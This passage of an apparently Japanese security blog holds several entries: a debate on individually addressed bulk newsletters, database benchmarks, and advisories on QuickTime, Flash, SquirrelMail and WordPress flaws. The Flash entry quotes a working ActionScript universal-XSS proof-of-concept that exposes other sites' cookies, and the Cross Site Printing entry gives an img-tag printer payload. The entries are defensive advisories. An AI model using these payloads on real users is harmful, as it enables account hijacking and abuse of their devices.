「A さん宛のメールが To: foo-ml として送信されてきた」場合、その方のリテラシによっては、何がおこっているのか理解できないかもしれません。
To: A として直接配信をしたほうが MUA などの spam filter にひっかかりづらいかもしれない、というお話は理解できます。ほかのご主張も理解できます。
でもそれらが、「A さん宛のメールが To: A で送られてくる」という、本来ごく自然なふるまいを覆すべきほどのものとは思いがたいです。
すみません,この件の理屈といいますか仕組みが理解できずにいます。
・「メールシステム」とは具体的にどこの何を指し示しているのか
・なぜTo:が個人アドレスではないほうが,その「メールシステム」の負荷が軽減されるのか
・送信先でこうむる迷惑とは何なのか
お教えいただけますでしょうか?
一日に数十通くらいのメールが配信されるなら我慢もできると思いますが、私の場合は明らかなSPAMを除いてもかなりの数になります。その中には本来、「私だけ」に送信された重要なメール、も含まれますが以前に利用したショッピングサイト等からも「多数に送信」されているメルマガ等が多く含まれています。
最近では「捨てアド」と呼ばれる、いらないメールが送信されるかもしれないショッピングサイト等を利用する場合、「捨てアド」を利用するのが当たり前になっています。実際、「捨てアド」が無いと長い間同じメールアドレスを利用するのは苦痛になってきます。苦痛になるのは「業者が自分勝手な理由で個人宛にメールを送るから」と言えると思います。
昔からのEメールユーザ(Internet E-Mailは使い始めたのが1990年だったかな?)には「バルクメール」(大量のアドレスに送信するメール)は個人宛のメールでは無い、といった認識が当たり前でした。ブログに書いたようにほんの4,5年前までは「バルクメール」!=「個人宛メール」でした。「本来ごく自然なふるまい」に思えるのかも知れませんが、利便性を考えると不自然な送信方法と言えると思います。
# スパマーが大量のバルクメールを送信し始め、それに対抗するため真っ当なDM送信元
# が個人宛に送り出し、スパマーも個人宛に送り出した、と言う側面もあります。
# 個人宛DMが増えてかなり不満を持っているのでこのブログにも記事がありますね。
# 以下の記事はMLの場合について書いています。
# http://blog.ohgaki.net/index.php/yohgaki/2006/06/29/mla_rar_a_a_la_ba_fa_pa_ra_ia_fa_la_ca_a
> この件の理屈といいますか仕組みが理解できずにいます。
メール関係のRFCに記述されています。ご興味があるか場合はRFCを参照されるのが一番だと思います。一般的な開発者であれば「そうなんだ」程度の理解でも構わないと思います。これだと何も書いてないのと同じなので、簡単に説明するとSMTPでは送信先のメールボックスはメールヘッダに関係なく設定できます。つまり、同じ内容(ヘッダと本文)で同じメールサーバで処理されているなら複数ユーザ宛に一括処理できます。しかし、To:に別々のアドレスが書かれていると別メールとして個別処理せざるを得ません。メールを送信・受信するプログラムがサポートしていない場合、同じメールでも意味が無かったりします。ですから「可能性がある」と書いています。
今思いついたのですが「迷惑メール」ボタン以外に「バルクメール」ボタンを作れば便利な気がしてきました。迷惑なバルクメールでも必要なものもあったりします。「バルクメール」ボタンは結構いい考えのような気がします。どうでしょう?
ほとんどが何かのサービスを利用してその時にメール送信云々のオプションなどを設定しなかった為、送信されてくるメルマガがほとんどです。
「自分で購読した」事になるのかも知れませんが、感覚的には「勝手に送ってくるようになった」と思えてしまいます。
# 確信犯的にしているサイトも多いです。
頂いたメールのに感覚的には「自分で購読した場合、自分宛の方が自然に思える」とのご意見も頂いています。この意見にも納得できる部分はあります。しかし、自分宛でなければ困る理由が見つかりません。
根本的な原因は送信先アドレスが送信側の意図で決定されている事にあるような気がします。
> 一日に数十通くらいのメールが配信されるなら我慢もできると思いますが、
> 私の場合は明らかなSPAMを除いてもかなりの数になります。
私はお客様に発行した数十万個のメールアドレスを運用するサービスの
postmaster であり、お客様に業務上の opt-in 配信も行いますし、会社の
メールサーバ管理者でもあります。
また、自分が関係する Web サイトやオープンソース活動を通して、私のメール
アドレスはWeb上いたるところに書かれており、結果、毎日千通オーダーで
SPAM を受け取っています。
つまり、公私ともに大量のSPAMを受け取り、かつお客様やメールサーバに対す
る UBE の嵐に対する防衛の戦いも行い、逆にオプトイン配信も行う立場です。
> 昔からのEメールユーザ(Internet E-Mailは使い始めたのが1990年だったか
> な?)には
私は比べると使いはじめが遅くて 1992 年で、とはいえまだ日本国内の多くが
junet の uucp ネットワークで結ばれていたころですが、
> 「バルクメール」(大量のアドレスに送信するメール)は個人宛のメールで
> は無い、といった認識が当たり前でした。ブログに書いたようにほんの4,5年
> 前までは「バルクメール」!=「個人宛メール」でした。
そうでしょうか? majordomo, CML, fml などの一般的(だった)メーリングリス
トドライバの仕様とお話が混じっていたりはしませんでしょうか。
「バルクメール」と「メーリングリスト」は違うものを指しているという意識
です。
> 「本来ごく自然なふるまい」に思えるのかも知れませんが、利便性を考える
> と不自然な送信方法と言えると思います。
「To: foobar@example.com」といったヘッダのパタンで簡単にマッチングでき
る、というのがおっしゃる利便性だと思いますが、単にそれだけのようにも思
えます。たとえば「From: info-noreply@example.com」などでマッチングして
も同じだと思うのですがどうでしょう? 企業からのメルマガがうっとうしい、
という場合はこれでいけますよね?
ヘッダ+ボディが同一なメールを大量配信する場合、To: をいちいち指定しない、
すなわち同一のメールをMTAへのワンセッションでなるべく多く配信をかけたほ
うが並列度や効率は一般的に上がるでしょう。To: への差し込み処理も要りま
せん。メール配信者の立場からすれば確かに「To: 全部同じ」のほうがラクで
す。でもおっしゃる「利便性」とは、このことではなさそうです。
また、時代の要請により、配信先メールアドレスひとつづつに、unsubscribe
用の unique な URL をひとつづつ差し込む、エラーのトラッキングが可能なよ
うなんらかの X-Header を仕込む、ひとつづつ unique な Return-Path や
Errors-To (RFC 的には obsolete ですが) を仕込むなどのケアを施して配信す
るのが一般的ですし、望ましい配信水準です。ユーザサポートのコストも考え
ると、これらの手間をかけたほうが結局全体のコストも下がります。
そもそもオプトイン配信でないと、また配信解除の手段を明快に示していない
と「特定電子メールの送信の適正化等に関する法律」に抵触します。まっとう
な企業なら、一通ずつなんらかの差し込みや生成をしつつメール配信しています。
ですので、
> すみません,この件の理屈といいますか仕組みが理解できずにいます。
と書いていらっしゃる方と私もおそらく同意見で、
> 宛先に個人アドレスを設定しない方がメールシステムとしては負荷が軽減で
> きる可能性があるところを、送信側ので勝手な都合でメールシステムと送信
> 先に迷惑な方法で送信しています。
確かに「宛先に個人アドレスを設定しない方がメールシステムとしては負荷が
軽減できる可能性」はありますが、もうそんなのんきな時代ではありませんよ。
もちろん、非商用のMLや、配信できさえすればいいと考える低水準のメール配
信者、UBEの場合は「To: が同一」と「負荷軽減」は結びつくと思いますが、
まっとうなオプトインとそれらを一緒くたに迷惑メール報告において考えられ
ては困ります。
> 今思いついたのですが「迷惑メール」ボタン以外に「バルクメール」ボタン
> を作れば便利な気がしてきました。迷惑なバルクメールでも必要なものもあっ
> たりします。「バルクメール」ボタンは結構いい考えのような気がします。
> どうでしょう?
ちょっとおっしゃる意図・仕様がわかりません。
> ほとんどが何かのサービスを利用してその時にメール送信云々のオプション
> などを設定しなかった為、送信されてくるメルマガがほとんどです。
>
> 「自分で購読した」事になるのかも知れませんが、感覚的には「勝手に送っ
> てくるようになった」と思えてしまいます。
そのサービスがオプトアウト配信だったせいで勝手にメールが送られてきた、
というのなら不快な場合もあると思いますが、上の文章を読む限り、サービス
提供者がきちんとオプトインの了解を求めていたのに、そこをあなたが自己の
責任で解除を行わず、結果、オプトイン了承を得たうえでのメール配信に不快
感を持っている、という解釈も可能です。
仮にそうなら、そこから
* 最初のオプトイン不承諾の手順がわかりづらくて怪しからん
* デフォルトがオプトイン承諾状態になってるのは嫌らしい
というご主張がでてくるのであれば、わかります。
ですが、そこから「宛先が個別云々」の主張が出てくるのは、原因や問題点と、
主張・結論が飛躍してしまっていると思います。
> # 確信犯的にしているサイトも多いです。
例えば営利企業が運営するサービスであれば、利潤を追求するのが存在意義で
すから、ユーザから得られるメリットが最大であるよう作られているのがある
べき姿でしょう。
もちろん、あまり「あさましい」ことをすると結果として顧客が離れるとか、
あまり個人情報(準個人情報)を預からないほうがTCOが低い、などの判断により、
デフォルトではオプトインではないサービスもあるでしょう。でもこれも結局
は目的は利潤の最大化ですよね。
> 頂いたメールのに感覚的には「自分で購読した場合、自分宛の方が自然に思
> える」とのご意見も頂いています。この意見にも納得できる部分はあります。
> しかし、自分宛でなければ困る理由が見つかりません。
いやここはおっしゃる通りですが、ですから、そこから「To: 個人宛なメルマ
ガは迷惑メール報告することにします」というお話が出てくるのは奇妙で乱暴
ですよね、ということです。
オプトインもUBEも一緒くたに迷惑メール報告されては、送信者も、さらに受信
者である一般ユーザのみなさんも迷惑です。
> 根本的な原因は送信先アドレスが送信側の意図で決定されている事にあるよ
> うな気がします。
オプトイン配信許諾を得るときに、「To: 同一アドレス」か「To: あなたのメー
ルアドレス」か選択できるようになっていると良いですかね?
でもこんなの皆さん選べないですよね。意味判らなくて登録やめちゃうかも。
「何かのサービスを利用してその時にメール送信云々のオプションなどを設定
しなかった」かたなど、おそらく面倒でスルーしてしまうことでしょう ^^;
若干繰り返しになりますが、まとめると
* いまや電子メールはコモディティであり、利用者のレベルはさまざまです。
自分に自分宛のメールが届くのは自然ですが、「自分宛」以外のメールが
自分に届くと驚くユーザもいらっしゃいます。ひいてはサポートコスト増大
にもなります。
* 「To: ML」方式なら簡単にパタンマッチできます。ですが To: でなくとも
マッチングできるように思えます。
* そもそも悪質な UBE は、簡単なヘッダのパタンマッチ程度ではとても取捨選
択できません。
* 「To: ML」のほうが配信者もラクだというのは、昔の基準で一部を見ただけ
のご意見にすぎません。
* まっとうに配信されているオプトインメールも含めて迷惑メール報告という
のは、配信者はさておき、その迷惑メールデータベースを利用している全員
の迷惑にもなります。
(実際には「Yahoo!メール」さんなど広く一般的に使われている Web メールサー
ビスでは、各自の一方的な主観で「俺これ気に入らないから迷惑メール! キー!」
という「迷惑な迷惑メール報告」がいっぱいあることでしょう。
これらの入力が、実際の迷惑メール処理のデータベースに、どのように取捨選
択されているのか、技術的にも興味があるところです。)
私もメールを配信する側の動機などは分かります。利益を求めているから利益追求で合理的なら何でもOKでは困る、といった点では概ね合意がとれる考え方だと思います。
このエントリの意図は「みんなで迷惑メールとしてメルマガを報告しよう」ではありません。そんな事を書いてもユーザ全体に与える影響は無いに等しいです。
個人的にはTo: yohgaki@ohgaki.net で送られてくる余計なメールに辟易していて、ちょうど「迷惑メールを連絡ボタンを押させるな」といった記事を見かけたので少し過激に書いてみました。
本当は受信側に迷惑メールを連絡するように勧めるのではなく、送信側に「迷惑メールに分類されるリスク」をもっと真剣に考えてほしいと思っているのです。
このエントリは他のエントリに比べて1/4ほどしか読まれていませんがコメントが多いのは、メール送信側の方からのご意見が多いからだと思います。
>>「バルクメール」ボタンは結構いい考えのような気がします。
>> どうでしょう?
>
>ちょっとおっしゃる意図・仕様がわかりません。
多数に送信しているメール(バルクメール)が全て迷惑メールではありません。かといって個人宛メールボックスに留まっているのも気分の良いものではありません。
迷惑メールと必要なメールの中間の分類として「バルクメール」ボタンを作ると便利だと思います。
普通のメールクライアントは
-迷惑メールフィルタを適用
-振り分け
といった感じで処理しますが、
-迷惑メールフィルタを適用
-バルクメールフィルタを適用
-振り分け
のように処理すれば個人向けアドレスに送信されるバルクメールが迷惑メールと同様にフィルタに学習させながら振り分ける事ができます。
スパムメールをメールボックスから削除するのと同じ要領なのが便利ではないかと思います。
これはクライアント側の対処ですが、関連したエントリのリンクを一番上に付けておきました。そのエントリにも書いていますがメールを送信する許可を得る際に、どのアドレス宛にメールを送信するかユーザに選択できるようにしたら良いと思います。
> そこから「To: 個人宛なメルマガは迷惑メール報告することに
> します」というお話が出てくるのは奇妙で乱暴
> ですよね、ということです。
確かに、乱暴と言えるかも知れませんが受信者にとってどうでも良いメールをどんどん送ってくる業者も乱暴といえるでしょう。各業者はすこしづつ、1週間に一回などでも、チリも積もれば、で長い時間が経つと大変な事になります。
「個人宛メルマガは迷惑メール行き」というのは極論ですが、私が迷惑メール行きにしようがしまいが、特にGMailのようなシステムの場合(つづきのエントリ参照)、多くのユーザが「迷惑メール行き」にするかもしれない事を認識した方が良い、という事です。
迷惑メール扱いされたくなかったら最低限、配信解除くらいはワンクリックで出来るようにしておけば良いと思います。
# もちろん分かりやすい場所で。
# ハッシュを利用すれば簡単かつ安全に実装できます。
# メール送信は面倒過ぎです。暗号的に処理できないので
# また確認メールに返信する必要があります。しかも、
# そのメールボックスはゴミの山かも知れません。
メール配信を効率的に行う為に同じヘッダ/ボディにするのとユーザトラッキングは別問題です。
ユーザトラッキングの為だけなら個別メールを使わなくても全く同じメールでもある程度は実現できます。通常はその程度でマーケティングのニーズはほとんどかなえられると思います。
非アクティブユーザを検出する事が目的なら各ユーザ毎にカスタマイズしたリンクの作成が必須です。これはプライバシを気にするユーザにはあまり評判は良くないですね。ほとんどユーザは気が付かない、気にもしてない、とは思いますけど。
このエントリを読んで頂いてDM送付をされている方が直ぐに対応されることは無いとは思います。
しかし、気が付いた時には、自分が送信したメールは全て迷惑メール行きになっていた、などという事になってしまう事業者も出てくるのではないかと予想しています。
これは結構致命的ではないでしょうか?「受注確認」など、本当に「親展」として送りたいメールが送信しても迷惑メール行き、そして勘違いしたユーザが怒ってしまい、ブログにはとんでも無い事を書かれて評判が悪くなったり.... といろいろ想像してしまいます。
ところで、メルマガが自分宛に送信されないと違和感が、というご意見は多いようですが
To: megumaga-subsucribers@example.jp
などはダメなんでしょうか? 私は結構自然だと思います。(昔はこんな感じでしたから普通におもえるのかもしれませんが)
subscribersがちょっと難しいようなら
To: merumaga-members@example.jp
とか
To: merumaga-readers@example.jp
ではどうでしょう?
現在のメール環境から考えると、今のうちに手を打つと中期的にはメリットを得る事になるような気がします。
ところで、メール送信システムが対応してさえいれば、送信先を変更するのもワンクリックで変更できるよう実装できます。しかも、非常に簡単に実装できます。
受信側の利便性を考えるなら以下のワンクリックリンクを作ってほしいです。
- 送信解除
- 送信先アドレス変更
解除したら解除メール(当然この場合は個人宛で)を送ってもし誤ってクリックしたならすぐ再購読できるようにすれば良いでしょう。
受信側(お客様)に手間を掛けさせなくても、送信側で親切に対処可能です。
いろいろ書きましたが要点は
DM送信者は受信側の利便性をもっと考慮しないと、しっぺ返しをくらうかもしれない。もっと、受信側の事を考えよう。
と言いたいのです。
# GMailとかワザと検索フィルタを使わせている
# ような気がします。Googleはトラッックバックが嫌い
# なのでbloggerにはトラックバック機能が無いと言われ
# ています。個人宛のバルクメールも嫌いなのかも知れま
# せん。
コメントを残す
FreeBSD7はPostgreSQL, MySQLユーザにとって救いになるか?
http://people.freebsd.org/~kris/scaling/7.0%20Preview.pdf
にFreeBSD7上でのPostgreSQLとMySQLのベンチマークが載っています。
PostgreSQL 8.2.4 - 11ページ

ピーク性能でおよそ5400transactions/secほど。
MySQL 5.0.45 - 15ページ

ピーク性能でおよそ3800transactions/secほど。
Kernelの主要な部分すべてがパラレルに動作するようになったため、かなり高速(数値にして数倍)になったようです。
グラフからもPostgreSQLの方がかなり良い性能であることが分かりますが、PDFファイル(16ページ)によると
On this benchmark PostgreSQL is 35% - 45% faster thanMySQL at all loads
とPostgreSQLの方が全般的に良い性能だったそうです。PostgreSQL 8.3は確実に8.2よりもさらに良い性能を期待できると思います。MySQLも5.1や6.0を利用した方が良い性能が期待できるのかも知れません。
このPDFのベンチマークはデータベースの性能を計る為のベンチマークではなく、OSの性能を計る為のベンチマークです。データベースサーバ設定、SQL文やテーブル構成などが不明なのでデータベースの性能のベンチマークとしては参考値くらいでしかありません。MySQLのテストではMyISAMを使っていると思われますが、MyISAMならこれくらいの性能差は普通です。
1 コメント
Database test: Sun UltraSparc T1 vs. AMD Opteron
http://tweakers.net/reviews/649/database-test-sun-ultrasparc-t1-vs-amd-opteron.html
これによるとMySQL 5.1 Betaの性能もあまりよくありません。スケールするようになっていますが性能自体がいまいちです。
http://tweakers.net/reviews/649/5/database-test-sun-ultrasparc-t1-vs-amd-opteron-pagina-5.html
ベータとはいえデバッグコードが多くて速度的に不利、ということでない事はオープンソースなので分かっています。
英語記事ですが結構おもしろい記事なので興味があるかたは是非どうぞ。
コメントを残す
またQuickTime...
QuickTime関連の脆弱性多さは非常に目につきます。また見つかったようです。
http://www.milw0rm.com/exploits/4885
During my tests I have been able to fully overwrite the return address
anyway note that the visible effects of the vulnerability could change
during the usage of the debugger (in attaching mode it's everything
ok).
と書いてあるので任意コード実行が可能です。
======
4) Fix
======No fix
0dayらしいので不必要に「rtsp://」は開かない事...
フィードバックはまだありません...
コメントを残す
Cross Site Printing
クロスサイトスクリプティングと同じ要領でネットワークプリンタに接続して印刷してしまう「Cross Site Printing」と呼ばれている手法が公開されています。
<img src="myprinter:9100/Print_from_the_web">
ポート9100でネットワークプリンタが印刷できる状態で待機しているので印刷できてしまいます。クロスサイトリクエストフォージェリと同じようなもの、と言った方が分かりやすいかも知れません。PDFにはFAXの送信方法も記載されています。
Cross Site Printingの仕組みは単純ですが根本的な対策は簡単ではありません。
フィードバックはまだありません...
コメントを残す
2008年急速に普及する物
年末ということで来年の予測を一つ。2008年急速に普及すると思われる物は64bit版OSだと思います。
メモリが急速に安くなってきており8GB程度のメモリが搭載できるPCであれば安価に購入できます。32bit版Windows/Linuxでは多くのメモリを搭載しても3.1GBから3.6GB程度のメモリしか利用できません。メモリを多く積んだPCを使い切るには64bit版のOSが必須になります。
普通にPCを利用するなら2GB程度のメモリがあれば困る事はほとんど無いはずです。多くのメモリを何に使うかというと仮想環境です。仮想環境などを利用する場合にはメモリを多く搭載していた方が圧倒的に有利です。仮想環境を快適に使うには最低でも3GBのメモリがあった方が良いと思います。複数の仮想環境を実行するなら8GBのメモリでも十分使い切る事ができます。
64bit版Windowsの場合、デバイスドライバの問題があるので急速に多数を占めるような事は無いと考えられますが、現在のように「誰が使っているの?」と思えるほどの少数派では無くなると思います。仮想環境のホストOSは64bit版、ゲストOSは32bit版などと使い分ける方が増えるだろうと考えています。
64bit版Linuxの場合、新たにOSを購入する必要もないので64bit版への移行はあまり敷居が高くありません。FlashPlayerさえ用意されれば移行するユーザが多くなると思います。64bit版のFlashPlayerが無い場合でもVMWare Playerで実行できる32bit版のイメージがそのままダウンロードできるディストリビューションも少なくありません。(OS丸ごとダウンロードするする場合はくれぐれも信頼できるソースのイメージをダウンロードするように注意してください)数年前であれば64bit環境への移行はあまりお勧めできる選択肢ではありませんでしたが今は十分お勧めできる状況です。Linuxユーザの場合、64bit環境への移行は簡単と言えます。
# PAEをサポートしたカーネルなら4GB以上のメモリも利用できます。
# MomongaLinuxの場合、別カーネルとして提供されていますが、
# ディストリビューションによっては自分でビルドしなければ
# ならないと思います。
Mac OSXには64bit版はありません。OSXは元々64bit OSで32bitのアプリケーションもシームレスに実行できます。OSXユーザは64bit環境に移行する必要はありません。あまり意識される事がなかったMac OSXの優れた部分ですが2008年は注目される利点として改めて紹介される事になるかも知れません。
最後にこれを機に64bit版Vistaにアップグレード方が戸惑わない為のTipsを一つ書きます。(32bit版でも同じです)VistaにはUAC(User Access Control)が追加されているので注意が必要です。 「UACを有効にしているとマトモにつかえない」と感想を持たれている方も少なくないかも知れません。これはUACによる「管理者権限で実行オプションを表示するダイアログで実行」した場合と、「本当の管理者アカウントで実行」した場合の結果が異なる事が大きな原因の一ではないかと思います。
例えば、UACで「管理者権限で実行」してもhostsファイル等の変更はそのユーザがログインしている間だけの変更され、再度ログインすればhostsファイルは元通りに復元されます。これはウィルス等がhostsファイルを改ざんし定義ファイルの更新を防ぐ事を防止する為の措置です。UACが有効な場合、WindowsディレクトリのみでなくProgram Filesディレクトリやレジストリも保護されます。UNIX系OSのユーザは管理者ユーザと別に通常ユーザを作成して通常ユーザの方を常用するアカウントとして利用すると思います。通常ユーザではセキュリティ上の理由から予想しづらい保護機能が働いて『何故??』となってしまう事が予想されます。Vistaで管理者が行うべき作業を実行する場合は「本当の管理者アカウント」でログインして実行するようにします。
ついでにもう一つ。ドメインに参加しているPCの場合、ドメインの管理者アカウントでないと保護機能が働きます。ドメインに参加している場合、必ずドメイン管理者としてログインしてから作業しましょう。
# これらのセキュリティ機能は非常に有用だと思いますが
# Vista不人気の原因でもあるので将来無効化されそうで
# 心配です。
最後にメモリ増設で8GB積もうと考えている方は以下のURLを参考にしてください。
http://pc.watch.impress.co.jp/docs/2007/1127/hot517.htm
フィードバックはまだありません...
コメントを残す
このブログのIE6でのレイアウトの崩れを修正
一応IE6/IE7でこのブログを自分で見た事があるのですがオーバーフローが発生した場合のページを見ていませんでした。b2evolutionに付属してきたevopressテンプレートのスタイルシートをそのまま使用しているのですがIE6でIE6/Firefox/Opera等と同等に表示するためにblockquoteのCSS定義に
width: 400px;
overflow: hidden;
追加しました。IE6の方は一つ前のエントリなどは非常に読みづらかったと思います...
# 今使っているのは2.2.0Beta版なので多少の不具合は仕方ないです。
時間があれば自分でスタイルシートを確認したいところですが当分その時間がとれそうにないです。問題があったらぜひ教えてください。下のContactリンクからWebフォームから送信できます。
フィードバックはまだありません...
コメントを残す
Flash Playerは即刻アップデート!
Flash Playerに深刻な脆弱性(簡単に他所のサイトのアカウントが乗っ取れる脆弱性と他の脆弱性)がありアップデートがリリースされています。
悪意のあるSWFファイルを読み込ませることによって脆弱性を悪用することができ、攻撃が成功すればシステムを乗っ取ることも可能だという。
http://internet.watch.impress.co.jp/cda/news/2007/12/20/17964.html
ここまでしか読まなければかなり控えめな表現であることが分かります。後半の方まで読むとエンジニアであれば理解できる書き方になっています。
Flash Playerにはクロスドメインポリシーファイルの扱いに関する脆弱性が存在しているという。その結果、細工を施されたWebページによって、サイトのクロスドメインポリシーが迂回される可能性があり、サイト管理者の意図に反してデータがアクセスされる可能性があるとしている。このほか、任意のHTTP ヘッダが送信可能な脆弱性も存在するという。
あまり素人向けの解説とは言えないかも知れません。Watchなのでこれでも良いのかも知れませんが。
Securiteamの記事は最初の方に重要な事が書いてあるので分かりやすいです。
This vulnerability allows remote attackers to run arbitrary JavaScript code in the security context of other domains,
http://www.securiteam.com/securitynews/6E00L00KKC.html
Universal Cross Site Scriptingと呼ばれるタイプの非常に危険な脆弱性です。別の言い方をすると他所のドメインのクッキーを自由に盗める脆弱性です。悪意のあるフラッシュを実行するとログイン状態にあるサイトのアカウントを乗っ取られる可能性があります。
しかもこの脆弱性の攻撃は非常に簡単です。元ネタのStanford大のページ、Securiteamのサイトには攻撃方法が記載されています。
Exploit:
package {
import flash.display.Sprite;
import flash.net.*;
import flash.utils.*;
public class uxssdemo extends Sprite {
public function uxssdemo() {
setTimeout(DoAttack, 1000);
}
public function DoAttack():void {
var request:URLRequest =
new URLRequest('javascript:alert("Cookie: "+document.cookie+"\\n\\nContent: \\n\\n" + document.lastChild.innerHTML);window.close();');
navigateToURL(request, 'tg');
}
}
}
Flashをよく知らない人でも簡単に攻撃できます。もしまだアップグレードしていない方は即刻Flash Playerをアップグレードした方がよいです。
Adobeのセキュリティ情報
http://www.adobe.com/support/security/bulletins/apsb07-20.html
Flashのダウンロードページ
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash
Flashのバージョンチェック
http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_15507
フィードバックはまだありません...
コメントを残す
クロスサイトスクリプティングを防ぐための10のTips
リンク: http://gihyo.jp/dev/serial/01/php-security
クロスサイトスクリプティングを防ぐための10のTipsをgihyo.jpのブログに載せました。
Webサーバの設定になるので書いてませんがApacheなどでも明示的に文字エンコーディングを指定した方が、誤って違った文字エンコーディングで静的コンテンツを書いてしまった場合でも分かるのでよいと思います。
AddDefaultCharset utf-8
などとhttpd.conf/仮想ホストの設定ファイル、.htaccessなどに記述すると静的なコンテンツにも文字エンコーディングをHTTPヘッダレベルで指定できます。
あまりやらないと思いますが11番目を追加するなら「VBScriptを動的に生成する場合に注意を払う」あたりだと思います。
フィードバックはまだありません...
コメントを残す
SquirrelMailパッケージの改竄はやはり攻撃目的
前のエントリで改竄は大きなセキュリティ上の問題ではない旨説明がされている、と紹介しましたが新リリースのアナウンス部分に新しい情報が追加されていました。
http://www.squirrelmail.org/index.php
Due to the package compromise of 1.4.11, and 1.4.12, we are forced to release 1.4.13 to ensure no confusions. While initial review didn't uncover a need for concern, several proof of concepts show that the package alterations introduce a high risk security issue, allowing remote inclusion of files. These changes would allow a remote user the ability to execute exploit code on a victim machine, without any user interaction on the victim's server. This could grant the attacker the ability to deploy further code on the victim's server.
リモートファイルインクルードが可能になっていたらしいです。1.4.11は9月末にリリースされたパッケージなのでかなりの期間、危険なパッケージが公開されていた可能性があります。
利用されている方はバージョンアップしておいた方がよいと思います。また影響範囲が分からないので新しいバージョンがリリースされた場合に直ぐにアップデートできるよう準備する方がよいでしょう。
SquirrelMailのサイトでは前のニュースで影響が少ないとしていた部分は、追記として危険な問題がある事を明記しておかないと勘違いするユーザも少なからず発生するような気がします...
フィードバックはまだありません...
コメントを残す
SquirrelMailのコードが改竄される
追記: 攻撃が目的の改竄だった模様です。
http://blog.ohgaki.net/index.php/yohgaki/2007/12/16/squirrelmail-1
----
http://squirrelmail.org/index.php
によると、12/8にSquirrelMail 1.4.12のコードが改竄されていたようです。
While we believe the changes made should have little impact, we strongly recommend everybody that has downloaded the 1.4.12 package after the 8th December, to redownload the package.
The code modifications did not made it into our source control, just the final package. We are currently investigating older packages to see if they were also compromised.
攻撃用のコードは含まれていなかったようです。攻撃コードが含まれなかったのであれば、攻撃者は「パッケージを改竄してどの程度で改竄された事実が判明するかを検証する」等の目的を持っていたのだと思われます。
GNUのFTPサーバがクラックされた事例を思い出します。MD5などのシグニチャは必ずチェックするようにした方がよいのは当り前ですが、MD5やSHA1ハッシュの重要性を再認識してもらうにはよい機会かもしれません。
混乱を避けるためにSquirrelMail 1.4.13がリリースされています。
http://squirrelmail.org/download.php
新しいパッケージはGnuPGでもサインされています。
gpgでサインされた署名をチェックするには鍵を取得しなければなりません。gpg署名の確認方法を書いておきます。パッケージとそのパッケージに対応したgpg署名をダウンロードします。
[yohgaki@dev download]$ gpg --verify squirrelmail-1.4.13.tar.bz2.sig
gpg: 2007年12月15日 02時17分49秒 JSTにDSA鍵ID F8FD1F73で施された署名
gpg: 署名を検査できません: 公開鍵が見つかりません
鍵がないので署名が検証できません。鍵ID"F8FD1F73"で署名されているので取得します。
[yohgaki@dev download]$ gpg --keyserver pgp.nic.ad.jp --recv-key F8FD1F73
gpg: 鍵F8FD1F73をhkpからサーバーpgp.nic.ad.jpに要求
gpg: 鍵F8FD1F73: 公開鍵“Jonathan Angliss <jon @netdork.net>”を読み込みました
gpg: 最小の「ある程度の信用」3、最小の「全面的信用」1、classic信用モデル
gpg: 深さ: 0 有効性: 1 署名: 0 信用: 0-, 0q, 0n, 0m, 0f, 1u
gpg: 次回の信用データベース検査は、2009-02-05です
gpg: 処理数の合計: 1
gpg: 読込み: 1
この公開鍵を利用してもう一度チェックすると正しい署名であることが確認できます。
$ gpg --verify squirrelmail-1.4.13.tar.bz2.sig
gpg: 2007年12月15日 02時17分49秒 JSTにDSA鍵ID F8FD1F73で施された署名
gpg: “Jonathan Angliss <jon @netdork.net>”からの正しい署名
gpg: 別名“Valcor <valcor @netdork.net>”
gpg: 別名“Netdork Abuse <abuse @netdork.net>”
gpg: 別名“Netdork Sales <sales @netdork.net>”
gpg: 別名“Netdork Support <support @netdork.net>”
gpg: 別名“Jonathan Angliss <jon @squirrelmail.org>”
gpg: 別名“Netdork Security <security @netdork.net>”
gpg: 別名“Jonathan Angliss <jangliss @aaxchange.com>”
gpg: 警告: この鍵は信用できる署名で証明されていません!
gpg: この署名が所有者のものかどうかの検証手段がありません。
主鍵の指紋: 676A 1701 665B E343 E393 B8D2 2B83 E814 F8FD 1F73
警告が表示されているのは先ほど取得した公開鍵にサインしていないからです。「“Jonathan Angliss <jon @netdork.net>からの正しい署名」となっているので問題ありません。気になる場合は公開鍵を署名すれば警告メッセージは表示されなくなります。
公開鍵の署名は以下のリンクが参考になります。
http://homepage.mac.com/mio_rhapsody/gnupg/GnuPG_ShellScript.html#SignKey
フィードバックはまだありません...
コメントを残す
WordPress Charset SQL Injection Vulnerability
http://www.securiteam.com/unixfocus/6N00D0AKKM.html
に解説されている脆弱性は基本中の基本です。
Most database query in WordPress uses escape() method to sanitize SQL string, which is essentially filtering input via addslashes() function. However addslashes() fails to consider character set used in SQL string, and blindly inserts backslash before any single quote, regardless of whether such backslashes will form another valid character or not.
addslashes()によるエスケープは行ってはならない、とよく言っていますがWordPressでさえaddslashes()を使っていたのですね。WordPressはUTF-8だけでなくGIB5とか使えるのですね。WordPressをSJISを使っている方は同じ脆弱性があるので要注意です。
本質的には私のブログでも指摘している脆弱性と同じ種類の問題です。
追記
CVEが出てます。
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-6318
(1) Big5, (2) GBK, or possibly other character set encodings that support a "\" in a multibyte character.
BIG5, GBKエンコーディングが影響を受け他の文字に¥が現れる文字エンコーディングにも影響があると思われる、と書いてあります。つまりSJISが該当します。
対策を書いておきます。
- データベースを正しい文字エンコーディングで作成する
- アプリケーションからデータベースやクライアント文字エンコーディングを変更する場合、データベースのAPI(pg_client_encoding, mysql_set_charsetなど)を利用する(SQL文で変更しない)
- 文字列をデータベースクエリ用にエスケープする場合はデータベースAPIを利用する(pg_escape_string, mysql_real_escape_stringなど)
別の対策として、プリペアードクエリを利用する方法もあります。
壊れた文字エンコーディングの文字列を無理矢理扱えるようにする方法があります。しかし、壊れた文字エンコーディングを扱えるようにするとアプリケーションや環境に存在する未知の脆弱性により攻撃可能になるかもしれないリスクがあります。壊れた文字エンコーディングを扱えるようにするのではなく、既にあるデータは綺麗にして、新しい文字データは全て正しい文字エンコーディングであるように入力時にバリデーションすべきです。
フィードバックはまだありません...
コメントを残す
MySQL5.0.51では不十分
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5968
によるとMySQL 5.1.23には脆弱性ありその概要は以下とされています。
